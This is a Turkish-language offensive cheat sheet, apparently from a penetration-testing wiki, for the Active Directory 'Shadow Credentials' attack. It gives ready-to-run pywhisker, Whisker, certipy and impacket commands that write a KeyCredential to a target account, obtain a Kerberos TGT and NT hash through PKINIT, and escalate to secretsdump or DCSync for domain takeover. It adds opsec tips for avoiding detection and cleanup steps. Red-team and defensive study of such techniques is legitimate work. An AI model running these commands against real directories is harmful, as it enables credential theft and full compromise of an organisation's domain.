Shadow Credentials
ATT&CK T1556 difficulty: orta
Shadow Credentials, bir kullanıcı/bilgisayar nesnesinin msDS-KeyCredentialLink özniteliğine yazma yetkiniz olduğunda çalışır. Nesneye kendi ürettiğiniz bir KeyCredential (sertifika/anahtar) eklersiniz; ardından PKINIT ile o hesap adına TGT alır ve NT hash’ini (getnthash / UnPAC-the-hash) elde edersiniz. Parola reset’e göre daha az kullanıcı etkisi (oturum düşmez) ve geri alınabilirdir.
Ön koşul
Section titled “Ön koşul”- GenericAll / GenericWrite / WriteProperty (msDS-KeyCredentialLink) / AddKeyCredentialLink- Domain Functional Level 2016+- PKINIT / key trust (Whisker/pywhisker self-signed)- Hedef hesap disabled değilBloodHound: AddKeyCredentialLink, GenericWrite → User/Computer.
Komut üreteci
Section titled “Komut üreteci”Shadow Creds · certipy
embedded toolGenerated command
certipy shadow auto -u attacker@domain.local -p Pass123 -account TARGET -dc-ip 10.10.10.5Shadow Creds · certipy
Section titled “Shadow Creds · certipy”Saldırı akışı
Section titled “Saldırı akışı”-
KeyCredential ekle :
Terminal window pywhisker.py -d domain.local -u attacker -p 'Pass123' \--target 'TARGET$' --action addTerminal window certipy shadow auto -u attacker@domain.local -p 'Pass123' \-account 'TARGET$' -dc-ip 10.10.10.5Terminal window certipy shadow auto -u attacker@domain.local -hashes :NTHASH \-account 'Administrator' -dc-ip 10.10.10.5Terminal window Whisker.exe add /target:TARGET$ /domain:domain.local /dc:dc01Terminal window Whisker.exe list /target:TARGET$Terminal window Whisker.exe remove /target:TARGET$ /device:DeviceGUID -
PKINIT ile TGT + NT hash :
Terminal window impacket-gettgtpkinit -cert-pfx TARGET.pfx -pfx-password '<pfxpass>' \domain.local/'TARGET$' target.ccacheTerminal window impacket-getnthash -key <AS_REP_encryption_key_hex> domain.local/'TARGET$'Terminal window certipy auth -pfx TARGET.pfx -dc-ip 10.10.10.5 -
Kullan — PtT veya PtH:
Terminal window export KRB5CCNAME=target.ccacheTerminal window impacket-secretsdump -k -no-pass domain.local/'TARGET$'@dc01.domain.local
Kullanıcı vs bilgisayar hedefi
Section titled “Kullanıcı vs bilgisayar hedefi”| Hedef | Sonuç |
|---|---|
| User (ör. DA) | O kullanıcının TGT/NT — domain admin session |
WORKSTATION$ | Machine auth → RBCD/Silver benzeri; host adına Kerberos |
DC$ | DCSync / domain takeover |
certipy shadow auto -u attacker@domain.local -p Pass -account da_userRBCD ile karşılaştırma
Section titled “RBCD ile karşılaştırma”Aynı GenericWrite on Computer$: Shadow → PKINIT → NT hash of MACHINE$ → getST / PtH / Silver RBCD → yaz AllowedToAct → S4U impersonate Administrator → cifs shell
Shadow genelde daha az adım; PKINIT yoksa RBCD'ye düş.Opsec (ofansif)
Section titled “Opsec (ofansif)”□ Attribute’da ekstra KeyCredential kalır — iş bitince remove□ PKINIT AS-REQ log’ları; parola change event’i yok□ certipy shadow auto agresif; lab dışı adım adım□ Birden fazla device GUID — list ile kontrolYaygın tuzaklar
Section titled “Yaygın tuzaklar”□ DFL < 2016 → attribute yok□ GenericWrite her zaman KeyCredentialLink yetmez — kenarı doğrula□ PFX parola / path hatası□ smartcard required garip etkileşim — PKINIT çoğu zaman çalışır□ DNS / clock skew PKINIT failSaldırı zinciri
Section titled “Saldırı zinciri”BloodHound AddKeyCredentialLink → DA user → certipy shadow auto → auth → NT hash → DCSync / PtH sprayGenericWrite on DC$ → shadow → DC$ NT → secretsdumpTemizlik
Section titled “Temizlik”pywhisker.py -d domain.local -u attacker -p 'Pass' --target 'TARGET$' \ --action remove --device <DeviceGUID>Whisker.exe remove /target:TARGET$ /device:DeviceGUIDSonraki adımlar
Section titled “Sonraki adımlar”RBCD · ACL Abuse · ADCS ESC1 · DCSync